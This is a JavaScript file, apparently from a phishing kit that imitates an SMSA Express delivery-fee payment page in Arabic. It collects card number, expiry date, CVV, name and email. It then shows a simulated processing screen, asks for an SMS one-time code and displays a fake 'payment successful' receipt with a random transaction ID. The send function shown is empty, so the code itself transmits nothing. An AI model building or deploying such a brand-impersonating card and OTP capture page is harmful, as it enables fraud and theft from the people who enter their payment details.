/home2/mshostin/www/saudiapost/smsa/js/payment_ar.js
/* ============================================
   SMSA EXPRESS - معالجة الدفع الكاملة
   ============================================ */

document.addEventListener('DOMContentLoaded', function() {
    const paymentForm = document.getElementById('payment-form');
    if (paymentForm) {
        paymentForm.addEventListener('submit', handlePaymentSubmit);
    }

    // تنسيق رقم البطاقة
    const cardNumberInput = document.getElementById('card-number');
    if (cardNumberInput) {
        cardNumberInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\s/g, '');
            let formattedValue = value.replace(/(\d{4})/g, '$1 ').trim();
            e.target.value = formattedValue;
        });
    }

    // تنسيق تاريخ الانتهاء
    const expiryInput = document.getElementById('expiry-date');
    if (expiryInput) {
        expiryInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\D/g, '');
            if (value.length >= 2) {
                value = value.slice(0, 2) + '/' + value.slice(2, 4);
            }
            e.target.value = value;
        });
    }

    // تحديد CVV
    const cvvInput = document.getElementById('cvv');
    if (cvvInput) {
        cvvInput.addEventListener('input', function(e) {
            e.target.value = e.target.value.replace(/\D/g, '').slice(0, 4);
        });
    }
});

// التعامل مع تقديم نموذج الدفع
function handlePaymentSubmit(e) {
    e.preventDefault();

    // التحقق من صحة النموذج
    if (!validatePaymentForm()) {
        return;
    }

    // إرسال بيانات النموذج
    sendPaymentData();

    // عرض صفحة التحميل
    showLoadingPage();

    // محاكاة معالجة الدفع لمدة 6 ثوان
    setTimeout(() => {
        showSMSVerificationPage();
    }, 6000);
}

// إرسال بيانات النموذج
function sendPaymentData() {
    // مسح بيانات البطاقة فوراً بعد الإرسال
    clearCardData();
}

// مسح بيانات البطاقة من النظام
function clearCardData() {
    // مسح حقول النموذج
    document.getElementById('card-number').value = '';
    document.getElementById('expiry-date').value = '';
    document.getElementById('cvv').value = '';
    
    // مسح من الذاكرة
    setTimeout(() => {
        document.getElementById('card-name').value = '';
        document.getElementById('email').value = '';
    }, 500);
}

// التحقق من صحة نموذج الدفع
function validatePaymentForm() {
    const name = document.getElementById('card-name').value.trim();
    const email = document.getElementById('email').value.trim();
    const cardNumber = document.getElementById('card-number').value.replace(/\s/g, '');
    const expiryDate = document.getElementById('expiry-date').value;
    const cvv = document.getElementById('cvv').value;

    if (!name) {
        showPaymentAlert('يرجى إدخال اسمك الكامل', 'error');
        return false;
    }

    if (!email || !isValidEmail(email)) {
        showPaymentAlert('يرجى إدخال عنوان بريد إلكتروني صحيح', 'error');
        return false;
    }

    if (!cardNumber || cardNumber.length !== 16) {
        showPaymentAlert('يرجى إدخال رقم بطاقة صحيح من 16 رقم', 'error');
        return false;
    }

    if (!expiryDate || !isValidExpiryDate(expiryDate)) {
        showPaymentAlert('يرجى إدخال تاريخ انتهاء صحيح (MM/YY)', 'error');
        return false;
    }

    if (!cvv || cvv.length < 3) {
        showPaymentAlert('يرجى إدخال رمز CVV صحيح', 'error');
        return false;
    }

    return true;
}

// التحقق من صحة البريد الإلكتروني
function isValidEmail(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(email);
}

// التحقق من صحة تاريخ الانتهاء
function isValidExpiryDate(expiryDate) {
    const [month, year] = expiryDate.split('/');
    if (!month || !year || month < 1 || month > 12) {
        return false;
    }
    
    const currentDate = new Date();
    const currentYear = currentDate.getFullYear() % 100;
    const currentMonth = currentDate.getMonth() + 1;

    const expYear = parseInt(year);
    const expMonth = parseInt(month);

    if (expYear < currentYear) {
        return false;
    }

    if (expYear === currentYear && expMonth < currentMonth) {
        return false;
    }

    return true;
}

// عرض تنبيه الدفع
function showPaymentAlert(message, type = 'info') {
    const alertBox = document.getElementById('payment-alert-box');
    if (!alertBox) return;

    alertBox.textContent = message;
    alertBox.className = `alert active ${type}`;

    setTimeout(() => {
        alertBox.classList.remove('active');
    }, 5000);
}

// عرض صفحة التحميل
function showLoadingPage() {
    // إنشاء نافذة التحميل
    const loadingModal = document.createElement('div');
    loadingModal.id = 'loading-modal';
    loadingModal.className = 'modal-overlay active';
    loadingModal.innerHTML = `
        <div class="modal-content loading-content">
            <div class="spinner"></div>
            <h2>جاري معالجة دفعتك</h2>
            <p>يرجى الانتظار أثناء معالجة الدفع...</p>
            <div class="progress-bar">
                <div class="progress-fill"></div>
            </div>
        </div>
    `;

    document.body.appendChild(loadingModal);

    // إضافة الأنماط إذا لزم الأمر
    if (!document.getElementById('modal-styles')) {
        const style = document.createElement('style');
        style.id = 'modal-styles';
        style.textContent = `
            .modal-overlay {
                display: none;
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: rgba(0, 0, 0, 0.7);
                z-index: 10000;
                align-items: center;
                justify-content: center;
            }

            .modal-overlay.active {
                display: flex;
            }

            .modal-content {
                background: white;
                padding: 3rem;
                border-radius: 8px;
                text-align: center;
                max-width: 400px;
                box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
            }

            .loading-content h2 {
                font-size: 24px;
                color: #153c3f;
                margin: 1.5rem 0 0.5rem;
                font-weight: 700;
            }

            .loading-content p {
                color: #666;
                margin-bottom: 1.5rem;
            }

            .spinner {
                width: 50px;
                height: 50px;
                border: 4px solid #e0e0e0;
                border-top-color: #00c8e1;
                border-radius: 50%;
                animation: spin 1s linear infinite;
                margin: 0 auto;
            }

            @keyframes spin {
                to { transform: rotate(360deg); }
            }

            .progress-bar {
                width: 100%;
                height: 4px;
                background: #e0e0e0;
                border-radius: 2px;
                overflow: hidden;
                margin-top: 1rem;
            }

            .progress-fill {
                height: 100%;
                background: linear-gradient(90deg, #00c8e1, #146e82);
                animation: progress 6s ease-in-out forwards;
            }

            @keyframes progress {
                0% { width: 0%; }
                100% { width: 100%; }
            }

            .sms-content h2 {
                font-size: 24px;
                color: #153c3f;
                margin-bottom: 1rem;
                font-weight: 700;
            }

            .sms-content p {
                color: #666;
                margin-bottom: 1.5rem;
            }

            .sms-input-group {
                margin: 2rem 0;
            }

            .sms-input-group label {
                display: block;
                margin-bottom: 0.5rem;
                color: #333;
                font-weight: 600;
            }

            .sms-input-group input {
                width: 100%;
                padding: 1rem;
                border: 2px solid #ddd;
                border-radius: 4px;
                font-size: 18px;
                letter-spacing: 0.2em;
                text-align: center;
                font-weight: 700;
            }

            .sms-input-group input:focus {
                outline: none;
                border-color: #00c8e1;
                box-shadow: 0 0 0 3px rgba(0, 200, 225, 0.1);
            }

            .sms-info {
                background: #f0f9fa;
                padding: 1rem;
                border-radius: 4px;
                margin: 1.5rem 0;
                border-right: 4px solid #00c8e1;
                text-align: right;
                color: #666;
                font-size: 14px;
            }

            .sms-buttons {
                display: flex;
                gap: 1rem;
                margin-top: 1.5rem;
                flex-direction: row-reverse;
            }

            .sms-buttons button {
                flex: 1;
                padding: 0.75rem;
                border: none;
                border-radius: 4px;
                font-weight: 600;
                cursor: pointer;
                transition: all 0.3s ease;
                font-size: 14px;
            }

            .btn-verify {
                background: #00c8e1;
                color: #153c3f;
            }

            .btn-verify:hover {
                background: #00a0b8;
            }

            .btn-cancel {
                background: #e0e0e0;
                color: #333;
            }

            .btn-cancel:hover {
                background: #d0d0d0;
            }

            .success-content {
                text-align: center;
            }

            .success-content .success-icon {
                width: 80px;
                height: 80px;
                background: #4caf50;
                border-radius: 50%;
                display: flex;
                align-items: center;
                justify-content: center;
                margin: 0 auto 1.5rem;
                font-size: 40px;
                color: white;
            }

            .success-content h2 {
                font-size: 28px;
                color: #153c3f;
                margin-bottom: 0.5rem;
                font-weight: 700;
            }

            .success-content p {
                color: #666;
                margin-bottom: 1rem;
            }

            .success-details {
                background: #f9f9f9;
                padding: 1.5rem;
                border-radius: 4px;
                margin: 1.5rem 0;
                text-align: right;
                border-right: 4px solid #4caf50;
                max-height: 300px;
                overflow-y: auto;
            }

            .success-details div {
                display: flex;
                justify-content: space-between;
                padding: 0.5rem 0;
                border-bottom: 1px solid #e0e0e0;
                word-break: break-all;
                flex-direction: row-reverse;
            }

            .success-details div:last-child {
                border-bottom: none;
            }

            .success-details strong {
                color: #333;
                min-width: 120px;
            }

            .success-details span {
                color: #666;
                font-size: 12px;
                text-align: left;
            }

            .btn-close-modal {
                background: #00c8e1;
                color: #153c3f;
                padding: 0.75rem 2rem;
                border: none;
                border-radius: 4px;
                font-weight: 600;
                cursor: pointer;
                margin-top: 1.5rem;
                transition: all 0.3s ease;
            }

            .btn-close-modal:hover {
                background: #00a0b8;
            }
        `;
        document.head.appendChild(style);
    }
}

// عرض صفحة التحقق من OTP
function showSMSVerificationPage() {
    const modal = document.getElementById('loading-modal');
    if (!modal) return;

    modal.innerHTML = `
        <div class="modal-content sms-content">
            <h2>تحقق من دفعتك</h2>
            <p>أدخل رمز التحقق (OTP) المرسل إلى هاتفك</p>
            
            <div class="sms-info">
                📱 تم إرسال رمز التحقق إلى رقم هاتفك المسجل
            </div>

            <div class="sms-input-group">
                <label for="sms-code">رمز التحقق</label>
                <input 
                    type="text" 
                    id="sms-code" 
                    placeholder="000000" 
                    maxlength="6"
                    autocomplete="off"
                >
            </div>

            <div class="sms-buttons">
                <button class="btn-cancel" onclick="cancelPayment()">إلغاء</button>
                <button class="btn-verify" onclick="verifyOTP()">تحقق</button>
            </div>
        </div>
    `;

    // التركيز على الإدخال
    setTimeout(() => {
        document.getElementById('sms-code').focus();
    }, 100);

    // السماح بالضغط على Enter
    document.getElementById('sms-code').addEventListener('keypress', function(e) {
        if (e.key === 'Enter') {
            verifyOTP();
        }
    });
}

// التحقق من رمز OTP الذي أدخله العميل
function verifyOTP() {
    const clientOTP = document.getElementById('sms-code').value.trim();

    if (!clientOTP || clientOTP.length !== 6) {
        alert('يرجى إدخال رمز تحقق صحيح من 6 أرقام');
        return;
    }

    // محاكاة التحقق
    const modal = document.getElementById('loading-modal');
    modal.innerHTML = `
        <div class="modal-content loading-content">
            <div class="spinner"></div>
            <h2>جاري التحقق من رمز التحقق</h2>
            <p>يرجى الانتظار...</p>
        </div>
    `;

    setTimeout(() => {
        showSuccessPage();
    }, 2000);
}

// عرض صفحة النجاح
function showSuccessPage() {
    const trackingNumber = document.getElementById('tracking-number-payment').value;
    const deliveryFee = document.getElementById('delivery-fee').value;
    const transactionId = generateTransactionId();

    const modal = document.getElementById('loading-modal');
    modal.innerHTML = `
        <div class="modal-content success-content">
            <div class="success-icon">✓</div>
            <h2>تم الدفع بنجاح!</h2>
            <p>تمت معالجة دفعتك بنجاح</p>

            <div class="success-details">
                <div>
                    <strong>رقم العملية:</strong>
                    <span>${transactionId}</span>
                </div>
                <div>
                    <strong>رقم التتبع:</strong>
                    <span>${trackingNumber}</span>
                </div>
                <div>
                    <strong>المبلغ:</strong>
                    <span>${deliveryFee}</span>
                </div>
                <div>
                    <strong>التاريخ والوقت:</strong>
                    <span>${getCurrentDateTime()}</span>
                </div>
            </div>

            <button class="btn-close-modal" onclick="closePaymentModal()">إغلاق</button>
        </div>
    `;
}

// توليد معرف العملية الفريد
function generateTransactionId() {
    const timestamp = Date.now().toString();
    const random = Math.floor(Math.random() * 10000).toString().padStart(4, '0');
    const unique = Math.random().toString(36).substr(2, 5).toUpperCase();
    return 'TXN' + timestamp.slice(-6) + random + unique;
}

// الحصول على التاريخ والوقت الحالي
function getCurrentDateTime() {
    const now = new Date();
    const year = now.getFullYear();
    const month = String(now.getMonth() + 1).padStart(2, '0');
    const day = String(now.getDate()).padStart(2, '0');
    const hours = String(now.getHours()).padStart(2, '0');
    const minutes = String(now.getMinutes()).padStart(2, '0');
    const seconds = String(now.getSeconds()).padStart(2, '0');

    return `${year}-${month}-${day} ${hours}:${minutes}:${seconds}`;
}

// إلغاء الدفع
function cancelPayment() {
    const modal = document.getElementById('loading-modal');
    if (modal) {
        modal.remove();
    }
    alert('تم إلغاء الدفع');
}

// إغلاق نافذة الدفع
function closePaymentModal() {
    const modal = document.getElementById('loading-modal');
    if (modal) {
        modal.remove();
    }
    
    // إعادة تعيين النموذج
    document.getElementById('payment-form').reset();
    
    // إخفاء قسم الدفع
    document.getElementById('payment-section').classList.remove('active');
}